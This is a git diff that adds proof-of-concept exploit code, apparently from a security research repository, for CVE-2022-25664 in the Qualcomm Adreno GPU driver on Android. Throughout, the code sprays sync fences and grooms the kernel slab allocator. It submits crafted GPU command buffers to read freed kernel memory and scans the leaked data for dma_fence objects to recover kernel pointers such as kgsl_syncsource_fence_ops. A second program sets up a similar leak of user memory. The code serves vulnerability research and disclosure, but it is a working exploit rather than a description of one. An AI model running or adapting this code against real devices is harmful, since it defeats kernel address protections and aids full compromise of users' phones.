+  uint64_t shared_mem_size = 0x2000;
+  uint32_t cmd_size;
+  uint64_t write_cmd_gpuaddr = 0;
+  uint64_t shared_mem_gpuaddr = 0;
+  uint64_t hole_size = 0x1000;
+  int fds[OBJS_PER_SLAB * CPU_PARTIAL];
+  int spray_fds[OBJ_SPRAY];
+
+  int fd = open("/dev/kgsl-3d0", O_RDWR);
+
+  if (fd == -1) {
+    err(1, "cannot open kgsl");
+  }
+
+  uint32_t ctx_id;
+  if (kgsl_ctx_create(fd, &ctx_id)) {
+    err(1, "kgsl_ctx_create failed.");
+  }
+
+  struct kgsl_syncsource_create syncsource = {0};
+  if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE, &syncsource) < 0) {
+    err(1, "unable to create syncsource\n");
+  }
+
+  for (int i = 0; i < OBJ_SPRAY; i++) {
+    struct kgsl_syncsource_create_fence create_fence = {.id = syncsource.id};
+    if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE, &create_fence) < 0) {
+      err(1, "Failed to create fence");
+    }
+    spray_fds[i] = create_fence.fence_fd;
+  }
+
+  for (int i = 0; i < CPU_PARTIAL * OBJS_PER_SLAB; i++) {
+    struct kgsl_syncsource_create_fence create_fence = {.id = syncsource.id};
+    if (ioctl(fd, IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE, &create_fence) < 0) {
+      err(1, "Failed to create fence");
+    }
+    fds[i] = create_fence.fence_fd;
+  }
+
+  shared_mem_buf = (uint64_t*)map_anon(fd, &shared_mem_gpuaddr, shared_mem_size);
+  write_cmd_buf = map_anon(fd, &write_cmd_gpuaddr, 0x1000);
+  uint64_t write_cmd_gpuaddr_start = write_cmd_gpuaddr;
+
+  write_cmd_gpuaddr = write_cmd_gpuaddr + 0x1000 - 5 * CMD_SIZE;
+
+  uint32_t* write_cmd_buf_start = write_cmd_buf;
+  cmd_size = write_gpu_cmd(write_cmd_buf, shared_mem_gpuaddr, n);
+
+  usleep(50000);
+  void* hole = mmap(NULL, hole_size, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
+  shared_mem_buf2 = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
+
+  if (shared_mem_buf2 == MAP_FAILED) {
+    err(1, "shared_mem_buf2 failed");
+  }
+
+  munmap(hole, hole_size);
+  aio_context_t ctx = 0;
+  uint32_t nr_events = 32;
+  
+  migrate_to_cpu(0);
+  for (int i = 0; i < OBJS_PER_SLAB; i++) {
+    close(fds[i + (CPU_PARTIAL - 1) * OBJS_PER_SLAB]);
+  }
+
+  for (int i = 0; i < (CPU_PARTIAL - 1); i++) {
+    close(fds[i * OBJS_PER_SLAB]);
+  }
+
+  if (io_setup(nr_events, &ctx) < 0) err(1, "io_setup error\n");
+  if (kgsl_map(fd, (unsigned long) shared_mem_buf2, shared_mem_size, &shared_mem_gpuaddr2, 1) == -1) {
+    err(1, "kgsl_map failed (shared_mem_buf2)");
+  }
+
+  if (kgsl_gpu_command_payload(fd, ctx_id, 0, cmd_size, 1, 0, write_cmd_gpuaddr, cmd_size)) {
+    err(1, "gpu_command failed.");
+  }
+  usleep(150000);
+  if (shared_mem_gpuaddr2 != write_cmd_gpuaddr_start + 0x1000) {
+    err(1, "wrong address layout shared_mem_gpuaddr2 %lx write_cmd_gpuaddr %lx\n", shared_mem_gpuaddr2, write_cmd_gpuaddr);
+  }
+  if (ctx != (uint64_t)shared_mem_buf2 + 0x1000) {
+    err(1, "wrong address layout shared_mem_buf2 %p ctx %lx\n", shared_mem_buf2, ctx);
+  }
+
+  int ret = dma_search(shared_mem_buf + 0x1000/8, 0x1000/8, KERNEL_BRANCH);
+  if (ret == -1) {
+    io_destroy(ctx);
+    munmap(shared_mem_buf2, 0x1000);
+    munmap(shared_mem_buf, 0x2000);
+    munmap(write_cmd_buf, 0x1000);
+    for (int i = 0; i < (CPU_PARTIAL * OBJS_PER_SLAB); i++) close(fds[i]);
+    for (int i = 0; i < OBJ_SPRAY; i++) close(spray_fds[i]);
+    close(fd);
+  }
+  return ret;
+}
+
+int main() {
+
+  for (int i = 0; i < MMAP_SPRAY; i++) {
+    mmap(NULL, 0x1000,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
+  }
+  int success = -1;
+  int counter = 0;
+  while (success == -1) {
+    success = find_address();
+    counter++;
+    if (counter % 20 == 0) printf("failed after %d\n", counter);
+  }
+
+}
diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/dma_search.h b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/dma_search.h
new file mode 100644
index 0000000..b103107
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/dma_search.h
@@ -0,0 +1,94 @@
+#ifndef DMA_SEARCH_H
+#define DMA_SEARCH_H
+
+#include <unistd.h>
+#include <stdlib.h>
+
+#define OBJECT_SIZE 128
+
+#define STRIDE (OBJECT_SIZE/8)
+
+struct dma_info {
+  uint64_t ops;
+  uint64_t cb_list;
+  uint64_t spinlock;
+  uint64_t context;
+};
+
+enum dma_search_type {
+  KERNEL_4,
+  KERNEL_5
+};
+
+int try_match_object_54(uint64_t* obj, struct dma_info* out) {
+  //No ops
+  if (obj[1] == 0) return 0;
+  //cb_list not initialized
+  if (obj[2] != obj[3]) return 0;
+  //no cb_list
+  if (obj[2] == 0 || obj[3] == 0) return 0;
+  if (out->ops == 0) {
+    out->ops = obj[1];
+    out->cb_list = obj[2];
+    out->context = obj[4];
+    return 1;
+  }
+  if (out->ops != obj[1]) {
+    printf("out->ops %lx obj[1] %lx\n", out->ops, obj[1]);
+    return 0;
+  }
+  return 1;
+}
+
+int try_match_object_414(uint64_t* obj, struct dma_info* out) {
+  //No ops
+  if (obj[1] == 0) return 0;
+  //rcu not zero
+  if (obj[2] != 0 || obj[3] != 0) return 0;
+  //cb_list not initialized
+  if (obj[4] != obj[5]) return 0;
+  //no cb_list
+  if (obj[4] == 0 || obj[5] == 0) return 0;
+  //no spinlock
+  if (obj[6] == 0) return 0;
+  if (out->ops == 0) {
+    out->ops = obj[1];
+    out->cb_list = obj[4];
+    out->spinlock = obj[6];
+    out->context = obj[7];
+    return 1;
+  }
+  if (out->ops != obj[1]) {
+    printf("out->ops %lx obj[1] %lx\n", out->ops, obj[1]);
+    return 0;
+  }
+  if (out->spinlock != obj[6]) {
+    printf("out->spinlock %lx obj[6] %lx\n", out->spinlock, obj[6]);
+    return 0;
+  }
+  return 1;
+};
+
+int dma_search(uint64_t* region, size_t len, enum dma_search_type type) {
+  if (len % OBJECT_SIZE != 0) err(1, "len is not divisible by object size\n");
+  struct dma_info info = {0};
+  int match = 0;
+  for (int i = 0; i < len; i+= STRIDE) {
+      if (type == KERNEL_4) {
+        match += try_match_object_414(region + i, &info);
+      } else if (type == KERNEL_5){
+        match += try_match_object_54(region + i, &info);
+      } else {
+        err(1, "unknown kernel branch\n");
+      }
+  }
+  if (match > 3) {
+    printf("found dma fence object:\n");
+    printf("kgsl_syncsource_fence_ops address: %lx\n", info.ops);
+    printf("object address: %lx\n", info.cb_list);
+    return 1;
+  }
+  return -1;  
+};
+
+#endif
diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.c b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.c
new file mode 100644
index 0000000..1fc3c5a
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.c
@@ -0,0 +1,80 @@
+#include <string.h>
+
+#include "kgsl_utils.h"
+
+int kgsl_ctx_create(int fd, uint32_t *ctx_id)
+{
+	struct kgsl_drawctxt_create req = {
+			.flags = 0x00001812,
+	};
+	int ret;
+
+	ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &req);
+	if (ret)
+		return ret;
+
+	*ctx_id = req.drawctxt_id;
+
+	return 0;
+}
+
+int kgsl_gpu_command_payload(int fd, uint32_t ctx_id, uint64_t gpuaddr, uint32_t cmdsize, uint32_t n, uint32_t target_idx, uint64_t target_cmd, uint32_t target_size) {
+    struct kgsl_command_object *cmds;
+
+    struct kgsl_gpu_command req = {
+            .context_id = ctx_id,
+            .cmdsize = sizeof(struct kgsl_command_object),
+            .numcmds = n,
+    };
+    size_t cmds_size;
+    uint32_t i;
+
+    cmds_size = n * sizeof(struct kgsl_command_object);
+
+    cmds = (struct kgsl_command_object *) malloc(cmds_size);
+
+    if (cmds == NULL) {
+        return -1;
+    }
+
+    memset(cmds, 0, cmds_size);
+
+    for (i = 0; i < n; i++) {
+        cmds[i].flags = KGSL_CMDLIST_IB;
+
+        if (i == target_idx) {
+            cmds[i].gpuaddr = target_cmd;
+            cmds[i].size = target_size;
+        }
+        else {
+            /* the shift here is helpful for debugging failed alignment */
+            cmds[i].gpuaddr = gpuaddr + (i << 16);
+            cmds[i].size = cmdsize;
+        }
+    }
+    req.cmdlist = (unsigned long) cmds;
+    return ioctl(fd, IOCTL_KGSL_GPU_COMMAND, &req);
+}
+
+int kgsl_map(int fd, unsigned long addr, size_t len, uint64_t *gpuaddr, int readonly) {
+    struct kgsl_map_user_mem req = {
+            .len = len,
+            .offset = 0,
+            .hostptr = addr,
+            .memtype = KGSL_USER_MEM_TYPE_ADDR,
+//            .flags = KGSL_MEMFLAGS_USE_CPU_MAP,
+    };
+    if (readonly) {
+      req.flags |= KGSL_MEMFLAGS_GPUREADONLY;
+    }
+    int ret;
+
+    ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &req);
+    if (ret)
+        return ret;
+
+    *gpuaddr = req.gpuaddr;
+
+    return 0;
+}
+
diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.h b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.h
new file mode 100644
index 0000000..79033dc
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.h
@@ -0,0 +1,237 @@
+#ifndef KGSL_UTILS_H
+#define KGSL_UTILS_H
+
+#include <unistd.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+
+#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL
+
+#define KGSL_MEMFLAGS_GPUREADONLY 0x01000000U
+
+#define KGSL_OBJLIST_MEMOBJ  0x00000008U
+#define KGSL_OBJLIST_PROFILE 0x00000010U
+#define KGSL_DRAWOBJ_PROFILING      0x00000010
+#define KGSL_MEMFLAGS_IOCOHERENT  (1ULL << 31)
+
+enum kgsl_user_mem_type {
+	KGSL_USER_MEM_TYPE_PMEM		= 0x00000000,
+	KGSL_USER_MEM_TYPE_ASHMEM	= 0x00000001,
+	KGSL_USER_MEM_TYPE_ADDR		= 0x00000002,
+	KGSL_USER_MEM_TYPE_ION		= 0x00000003,
+	/*
+	 * ION type is retained for backwards compatibility but Ion buffers are
+	 * dma-bufs so try to use that naming if we can
+	 */
+	KGSL_USER_MEM_TYPE_DMABUF       = 0x00000003,
+	KGSL_USER_MEM_TYPE_MAX		= 0x00000007,
+};
+
+struct kgsl_timeline_fence_get {
+	__u64 seqno;
+	__u32 timeline;
+	int handle;
+};
+
+#define IOCTL_KGSL_TIMELINE_FENCE_GET \
+	_IOWR(KGSL_IOC_TYPE, 0x5C, struct kgsl_timeline_fence_get)
+
+
+struct kgsl_timeline_create {
+	__u64 seqno;
+	__u32 id;
+/* private: padding for 64 bit compatibility */
+	__u32 padding;
+};
+
+#define IOCTL_KGSL_TIMELINE_CREATE \
+	_IOWR(KGSL_IOC_TYPE, 0x58, struct kgsl_timeline_create)
+
+#define IOCTL_KGSL_TIMELINE_DESTROY _IOW(KGSL_IOC_TYPE, 0x5D, __u32)
+
+struct kgsl_device_getproperty {
+	unsigned int type;
+	void *value;
+	size_t sizebytes;
+};
+
+#define IOCTL_KGSL_DEVICE_GETPROPERTY \
+	_IOWR(KGSL_IOC_TYPE, 0x2, struct kgsl_device_getproperty)
+
+
+struct kgsl_gpumem_alloc_id {
+	unsigned int id;
+	unsigned int flags;
+	uint64_t size;
+	uint64_t mmapsize;
+	unsigned long gpuaddr;
+};
+
+#define IOCTL_KGSL_GPUMEM_ALLOC_ID \
+	_IOWR(KGSL_IOC_TYPE, 0x34, struct kgsl_gpumem_alloc_id)
+
+struct kgsl_command_object {
+    uint64_t offset;
+    uint64_t gpuaddr;
+    uint64_t size;
+    unsigned int flags;
+    unsigned int id;
+};
+
+struct kgsl_gpu_command {
+	uint64_t flags;
+	uint64_t __user cmdlist;
+	unsigned int cmdsize;
+	unsigned int numcmds;
+	uint64_t __user objlist;
+	unsigned int objsize;
+	unsigned int numobjs;
+	uint64_t __user synclist;
+	unsigned int syncsize;
+	unsigned int numsyncs;
+	unsigned int context_id;
+	unsigned int timestamp;
+};
+
+struct kgsl_map_user_mem {
+    int fd;
+    unsigned long gpuaddr;   /*output param */
+    size_t len;
+    size_t offset;
+    unsigned long hostptr;   /*input param */
+    enum kgsl_user_mem_type memtype;
+    unsigned int flags;
+};
+
+struct kgsl_drawctxt_create {
+    unsigned int flags;
+    unsigned int drawctxt_id; /*output param */
+};
+
+/* destroy a draw context */
+struct kgsl_drawctxt_destroy {
+    unsigned int drawctxt_id;
+};
+
+
+#define KGSL_IOC_TYPE 0x09
+
+#define IOCTL_KGSL_DRAWCTXT_CREATE \
+        _IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
+
+#define IOCTL_KGSL_DRAWCTXT_DESTROY \
+        _IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
+
+#define IOCTL_KGSL_MAP_USER_MEM \
+        _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem)
+
+#define IOCTL_KGSL_GPU_COMMAND \
+        _IOWR(KGSL_IOC_TYPE, 0x4A, struct kgsl_gpu_command)
+
+#define KGSL_CMDLIST_IB             0x00000001U
+#define KGSL_MEMFLAGS_USE_CPU_MAP   0x10000000ULL
+
+struct kgsl_gpuobj_import {
+	uint64_t __user priv;
+	uint64_t priv_len;
+	uint64_t flags;
+	unsigned int type;
+	unsigned int id;
+};
+
+struct kgsl_gpuobj_import_dma_buf {
+	int fd;
+};
+
+struct kgsl_gpuobj_import_useraddr {
+	uint64_t virtaddr;
+};
+
+struct kgsl_gpuobj_free {
+	uint64_t flags;
+	uint64_t __user priv;
+	unsigned int id;
+	unsigned int type;
+	unsigned int len;
+};
+
+#define KGSL_GPUOBJ_FREE_ON_EVENT 1
+
+#define KGSL_GPU_EVENT_TIMESTAMP 1
+#define KGSL_GPU_EVENT_FENCE     2
+
+struct kgsl_gpu_event_timestamp {
+	unsigned int context_id;
+	unsigned int timestamp;
+};
+
+struct kgsl_gpu_event_fence {
+	int fd;
+};
+
+struct kgsl_gpumem_free_id {
+	unsigned int id;
+/* private: reserved for future use*/
+	unsigned int __pad;
+};
+
+#define IOCTL_KGSL_GPUMEM_FREE_ID _IOWR(KGSL_IOC_TYPE, 0x35, struct kgsl_gpumem_free_id)
+
+#define IOCTL_KGSL_GPUOBJ_FREE \
+	_IOW(KGSL_IOC_TYPE, 0x46, struct kgsl_gpuobj_free)
+
+struct dma_buf_sync {
+	__u64 flags;
+};
+
+#define DMA_BUF_SYNC_READ      (1 << 0)
+#define DMA_BUF_SYNC_WRITE     (2 << 0)
+#define DMA_BUF_SYNC_RW        (DMA_BUF_SYNC_READ | DMA_BUF_SYNC_WRITE)
+#define DMA_BUF_SYNC_START     (0 << 2)
+#define DMA_BUF_SYNC_END       (1 << 2)
+#define DMA_BUF_SYNC_USER_MAPPED       (1 << 3)
+
+#define DMA_BUF_SYNC_VALID_FLAGS_MASK \
+	(DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END)
+
+#define DMA_BUF_BASE		'b'
+#define DMA_BUF_IOCTL_SYNC	_IOW(DMA_BUF_BASE, 0, struct dma_buf_sync)
+
+#define KGSL_MEMFLAGS_FORCE_32BIT 0x100000000ULL
+
+
+struct kgsl_syncsource_create {
+	unsigned int id;
+/* private: reserved for future use */
+	unsigned int __pad[3];
+};
+
+#define IOCTL_KGSL_SYNCSOURCE_CREATE \
+	_IOWR(KGSL_IOC_TYPE, 0x40, struct kgsl_syncsource_create)
+
+struct kgsl_syncsource_create_fence {
+	unsigned int id;
+	int fence_fd;
+/* private: reserved for future use */
+	unsigned int __pad[4];
+};
+
+/**
+ * struct kgsl_syncsource_signal_fence - Argument to
+ *     IOCTL_KGSL_SYNCSOURCE_SIGNAL_FENCE
+ * @id: syncsource id
+ * @fence_fd: sync_fence fd to signal
+ *
+ * Signal a fence that was created by a IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE
+ * call using the same syncsource id. This allows a fence to be shared
+ * to other processes but only signaled by the process owning the fd
+ * used to create the fence.
+ */
+#define IOCTL_KGSL_SYNCSOURCE_CREATE_FENCE \
+	_IOWR(KGSL_IOC_TYPE, 0x42, struct kgsl_syncsource_create_fence)
+
+int kgsl_ctx_create(int fd, uint32_t *ctx_id);
+int kgsl_gpu_command_payload(int fd, uint32_t ctx_id, uint64_t gpuaddr, uint32_t cmdsize, uint32_t n, uint32_t target_idx, uint64_t target_cmd, uint32_t target_size);
+int kgsl_map(int fd, unsigned long addr, size_t len, uint64_t *gpuaddr, int readonly);
+
+#endif
diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno.h b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno.h
new file mode 100644
index 0000000..7224cc6
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno.h
@@ -0,0 +1,218 @@
+#ifndef ADRENO_H
+#define ADRENO_H
+
+#define KGSL_MEMFLAGS_GPUREADONLY 0x01000000U
+
+enum kgsl_user_mem_type {
+    KGSL_USER_MEM_TYPE_PMEM         = 0x00000000,
+    KGSL_USER_MEM_TYPE_ASHMEM       = 0x00000001,
+    KGSL_USER_MEM_TYPE_ADDR         = 0x00000002,
+    KGSL_USER_MEM_TYPE_ION          = 0x00000003,
+    KGSL_USER_MEM_TYPE_DMABUF       = 0x00000003,
+    KGSL_USER_MEM_TYPE_MAX          = 0x00000007,
+};
+
+struct kgsl_command_object {
+    uint64_t offset;
+    uint64_t gpuaddr;
+    uint64_t size;
+    unsigned int flags;
+    unsigned int id;
+};
+
+struct kgsl_gpu_command {
+	uint64_t flags;
+	uint64_t __user cmdlist;
+	unsigned int cmdsize;
+	unsigned int numcmds;
+	uint64_t __user objlist;
+	unsigned int objsize;
+	unsigned int numobjs;
+	uint64_t __user synclist;
+	unsigned int syncsize;
+	unsigned int numsyncs;
+	unsigned int context_id;
+	unsigned int timestamp;
+};
+
+struct kgsl_map_user_mem {
+    int fd;
+    unsigned long gpuaddr;   /*output param */
+    size_t len;
+    size_t offset;
+    unsigned long hostptr;   /*input param */
+    enum kgsl_user_mem_type memtype;
+    unsigned int flags;
+};
+
+struct kgsl_drawctxt_create {
+    unsigned int flags;
+    unsigned int drawctxt_id; /*output param */
+};
+
+/* destroy a draw context */
+struct kgsl_drawctxt_destroy {
+    unsigned int drawctxt_id;
+};
+
+
+#define KGSL_IOC_TYPE 0x09
+
+#define IOCTL_KGSL_DRAWCTXT_CREATE \
+        _IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
+
+#define IOCTL_KGSL_DRAWCTXT_DESTROY \
+        _IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
+
+#define IOCTL_KGSL_MAP_USER_MEM \
+        _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem)
+
+#define IOCTL_KGSL_GPU_COMMAND \
+        _IOWR(KGSL_IOC_TYPE, 0x4A, struct kgsl_gpu_command)
+
+#define KGSL_CMDLIST_IB             0x00000001U
+#define KGSL_MEMFLAGS_USE_CPU_MAP   0x10000000ULL
+
+#define CP_TYPE4_PKT    (4 << 28)
+#define CP_TYPE7_PKT    (7 << 28)
+
+#define CP_NOP                  0x10
+#define CP_WAIT_FOR_ME          0x13
+#define CP_WAIT_FOR_IDLE        0x26
+#define CP_WAIT_REG_MEM         0x3c
+#define CP_MEM_WRITE            0x3d
+#define CP_INDIRECT_BUFFER_PFE  0x3f
+#define CP_SET_DRAW_STATE       0x43
+#define CP_MEM_TO_MEM           0x73
+#define CP_SET_PROTECTED_MODE   0x5f
+
+#define upper_32_bits(n) ((uint32_t)(((n) >> 16) >> 16))
+#define lower_32_bits(n) ((uint32_t)(n))
+
+
+#define PT_BASE 0xfc000000
+#define KGSL_OBJLIST_MEMOBJ  0x00000008U
+#define KGSL_OBJLIST_PROFILE 0x00000010U
+#define KGSL_DRAWOBJ_PROFILING      0x00000010
+#define KGSL_MEMFLAGS_IOCOHERENT  (1ULL << 31)
+
+struct kgsl_device_getproperty {
+	unsigned int type;
+	void *value;
+	size_t sizebytes;
+};
+
+#define IOCTL_KGSL_DEVICE_GETPROPERTY \
+	_IOWR(KGSL_IOC_TYPE, 0x2, struct kgsl_device_getproperty)
+
+
+struct kgsl_gpumem_alloc_id {
+	unsigned int id;
+	unsigned int flags;
+	uint64_t size;
+	uint64_t mmapsize;
+	unsigned long gpuaddr;
+};
+
+struct kgsl_gpumem_free_id {
+	unsigned int id;
+};
+
+#define IOCTL_KGSL_GPUMEM_ALLOC_ID \
+	_IOWR(KGSL_IOC_TYPE, 0x34, struct kgsl_gpumem_alloc_id)
+
+struct kgsl_sharedmem_free {
+	unsigned long gpuaddr;
+};
+
+#define IOCTL_KGSL_SHAREDMEM_FREE \
+	_IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)
+
+static inline uint cp_gpuaddr(uint *cmds, uint64_t gpuaddr)
+{
+    uint *start = cmds;
+
+    *cmds++ = lower_32_bits(gpuaddr);
+    *cmds++ = upper_32_bits(gpuaddr);
+
+    return cmds - start;
+}
+
+static inline uint pm4_calc_odd_parity_bit(uint val) {
+    return (0x9669 >> (0xf & ((val) ^
+                              ((val) >> 4) ^ ((val) >> 8) ^ ((val) >> 12) ^
+                              ((val) >> 16) ^ ((val) >> 20) ^ ((val) >> 24) ^
+                              ((val) >> 28)))) & 1;
+}
+
+static inline uint cp_type7_packet(uint opcode, uint cnt) {
+    return CP_TYPE7_PKT | ((cnt) << 0) |
+           (pm4_calc_odd_parity_bit(cnt) << 15) |
+           (((opcode) & 0x7F) << 16) |
+           ((pm4_calc_odd_parity_bit(opcode) << 23));
+}
+
+static inline uint cp_wait_for_me(
+        uint *cmds)
+{
+    uint *start = cmds;
+
+    *cmds++ = cp_type7_packet(CP_WAIT_FOR_ME, 0);
+
+    return cmds - start;
+}
+
+static inline uint cp_mem_packet(int opcode, uint size, uint num_mem) {
+    return cp_type7_packet(opcode, size + num_mem);
+}
+
+static inline uint cp_wait_for_idle(
+        uint *cmds)
+{
+    uint *start = cmds;
+
+    *cmds++ = cp_type7_packet(CP_WAIT_FOR_IDLE, 0);
+
+    return cmds - start;
+}
+
+static inline int _adreno_iommu_add_idle_indirect_cmds(
+        unsigned int *cmds)
+{
+    unsigned int *start = cmds;
+    cmds += cp_wait_for_me(cmds);
+    *cmds++ = cp_mem_packet(CP_INDIRECT_BUFFER_PFE, 2, 1);
+    cmds += cp_gpuaddr(cmds, 0xfc000000+1024);
+    *cmds++ = 2;
+    cmds += cp_wait_for_idle(cmds);
+    return cmds - start;
+}
+
+static inline uint cp_type4_packet(uint opcode, uint cnt)
+{
+    return CP_TYPE4_PKT | ((cnt) << 0) |
+           (pm4_calc_odd_parity_bit(cnt) << 7) |
+           (((opcode) & 0x3FFFF) << 8) |
+           ((pm4_calc_odd_parity_bit(opcode) << 27));
+}
+
+static inline uint cp_register(
+        unsigned int reg, unsigned int size)
+{
+    return cp_type4_packet(reg, size);
+}
+
+static inline uint cp_invalidate_state(
+        uint *cmds)
+{
+    uint *start = cmds;
+
+    *cmds++ = cp_type7_packet(CP_SET_DRAW_STATE, 3);
+    *cmds++ = 0x40000;
+    *cmds++ = 0;
+    *cmds++ = 0;
+
+    return cmds - start;
+}
+
+#endif
diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno_user.c b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno_user.c
new file mode 100644
index 0000000..ba980e8
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno_user.c
@@ -0,0 +1,221 @@
+#include <err.h>
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <errno.h>
+#include <time.h>
+#include <poll.h>
+#include <sys/syscall.h>
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <ctype.h>
+
+#include "adreno.h"
+
+#define LEAK_SIZE 100
+
+#define COMMAND_SIZE 4
+
+static void hexdump(void *_data, size_t byte_count) {
+  printf("hexdump(%p, 0x%lx)\n", _data, (uint64_t)byte_count);
+  for (uint64_t byte_offset = 0; byte_offset < byte_count; byte_offset += 16) {
+    unsigned char *bytes = ((unsigned char*)_data) + byte_offset;
+    uint64_t line_bytes = (byte_count - byte_offset > 16) ?
+	    16 : (byte_count - byte_offset);
+    char line[1000];
+    char *linep = line;
+    linep += sprintf(linep, "%08lx  ", byte_offset);
+    for (int i=0; i<16; i++) {
+      if (i >= line_bytes) {
+        linep += sprintf(linep, "   ");
+      } else {
+        linep += sprintf(linep, "%02hhx ", bytes[i]);
+      }
+    }
+    linep += sprintf(linep, " |");
+    for (int i=0; i<line_bytes; i++) {
+      if (isalnum(bytes[i]) || ispunct(bytes[i]) || bytes[i] == ' ') {
+        *(linep++) = bytes[i];
+      } else {
+        *(linep++) = '.';
+      }
+    }
+    linep += sprintf(linep, "|");
+    puts(line);
+  }
+}
+
+int kgsl_ctx_create(int fd, uint32_t *ctx_id)
+{
+	struct kgsl_drawctxt_create req = {
+			.flags = 0x00001812,
+	};
+	int ret;
+
+	ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &req);
+	if (ret)
+		return ret;
+
+	*ctx_id = req.drawctxt_id;
+
+	return 0;
+}
+
+int kgsl_gpu_command_payload(int fd, uint32_t ctx_id, uint32_t gpuaddr, uint32_t cmdsize, uint32_t n, uint32_t target_idx, uint64_t target_cmd, uint32_t target_size) {
+    struct kgsl_command_object *cmds;
+
+    struct kgsl_gpu_command req = {
+            .context_id = ctx_id,
+            .cmdsize = sizeof(struct kgsl_command_object),
+            .numcmds = n,
+    };
+    size_t cmds_size;
+    uint32_t i;
+
+    cmds_size = n * sizeof(struct kgsl_command_object);
+
+    cmds = (struct kgsl_command_object *) malloc(cmds_size);
+
+    if (cmds == NULL) {
+        return -1;
+    }
+
+    memset(cmds, 0, cmds_size);
+
+    for (i = 0; i < n; i++) {
+        cmds[i].flags = KGSL_CMDLIST_IB;
+
+        if (i == target_idx) {
+            cmds[i].gpuaddr = target_cmd;
+            cmds[i].size = target_size;
+        }
+        else {
+            /* the shift here is helpful for debugging failed alignment */
+            cmds[i].gpuaddr = gpuaddr + (i << 16);
+            cmds[i].size = cmdsize;
+        }
+    }
+    req.cmdlist = (unsigned long) cmds;
+    return ioctl(fd, IOCTL_KGSL_GPU_COMMAND, &req);
+}
+
+int kgsl_map(int fd, unsigned long addr, size_t len, uint32_t *gpuaddr, int readonly) {
+    struct kgsl_map_user_mem req = {
+            .len = len,
+            .offset = 0,
+            .hostptr = addr,
+            .memtype = KGSL_USER_MEM_TYPE_ADDR,
+            .flags = KGSL_MEMFLAGS_USE_CPU_MAP,
+    };
+    if (readonly) {
+      req.flags |= KGSL_MEMFLAGS_GPUREADONLY;
+    }
+    int ret;
+
+    ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &req);
+    if (ret)
+        return ret;
+
+    *gpuaddr = req.gpuaddr;
+
+    return 0;
+}
+
+int main() {
+    int fd;
+    uint32_t *write_cmds, write_cmds_size;
+    uint32_t *write_cmd_buf, write_cmd_gpuaddr;
+    uint32_t *indirect_cmds, indirect_cmds_size;
+    uint32_t *indirect_cmd_buf, indirect_cmd_gpuaddr;
+    uint32_t size = PAGE_SIZE;
+    uint32_t *shared_mem_buf, shared_mem_gpuaddr;
+    uint32_t *shared_mem_buf2, shared_mem_gpuaddr2;
+
+    int ret;
+
+    fd = open("/dev/kgsl-3d0", O_RDWR);
+
+    if (fd == -1) {
+        err(1, "cannot open kgsl");
+    }
+
+    write_cmd_buf = (uint32_t *) mmap((void *)0x40000000, size,
+                                        PROT_READ|PROT_WRITE,
+                                        MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
+
+    if (write_cmd_buf == MAP_FAILED) {
+        err(1, "mmap failed");
+    }
+
+    if (kgsl_map(fd, (unsigned long) write_cmd_buf, size, &write_cmd_gpuaddr, 0) == -1) {
+        err(1, "kgsl_map failed (write_cmd_buf)");
+    }
+
+    shared_mem_buf = (uint32_t*)mmap((void*)0x50000000, size,
+                                        PROT_READ|PROT_WRITE,
+                                        MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
+    if (shared_mem_buf == MAP_FAILED) {
+      err(1, "shared_mem_buf failed");
+    }
+
+    if (kgsl_map(fd, (unsigned long) shared_mem_buf, PAGE_SIZE, &shared_mem_gpuaddr, 0) == -1) {
+      err(1, "kgsl_map failed (shared_mem_buf)");
+    }
+
+    write_cmd_buf = write_cmd_buf + 0x1000/COMMAND_SIZE - 5;
